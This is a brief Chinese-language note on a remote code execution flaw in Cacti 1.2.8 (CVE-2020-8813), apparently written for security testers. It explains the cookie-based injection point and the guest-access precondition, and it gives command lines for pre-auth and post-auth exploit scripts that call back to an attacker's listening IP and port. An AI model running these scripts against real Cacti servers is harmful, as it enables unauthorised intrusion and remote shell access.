Cacti v1.2.8 RCE（CVE 2020 8813）

漏洞概述¶

漏洞点在登录的Cookie变量Cacti的值，将其改为系统命令造成RCE；

但是操作Cookie值会遇到身份验证问题，因此需开启访客页面，配合利用。

Cacti <= 1.28

暂无。编写nuclei的poc!!!

Pre-Auth RCE 前提：开启来宾实时图查看权限 graph_realtime.php?action=init 中包含poller_realtime.php

python Cacti-preauth-rce.py x.x.x.x ListeningIP ListeningPORT(VPS监听)

Post-Auth RCE 前提：已知一个账户

python Cacti-postauth-rce.py x.x.x.x admin pass ListeningIP ListeningPORT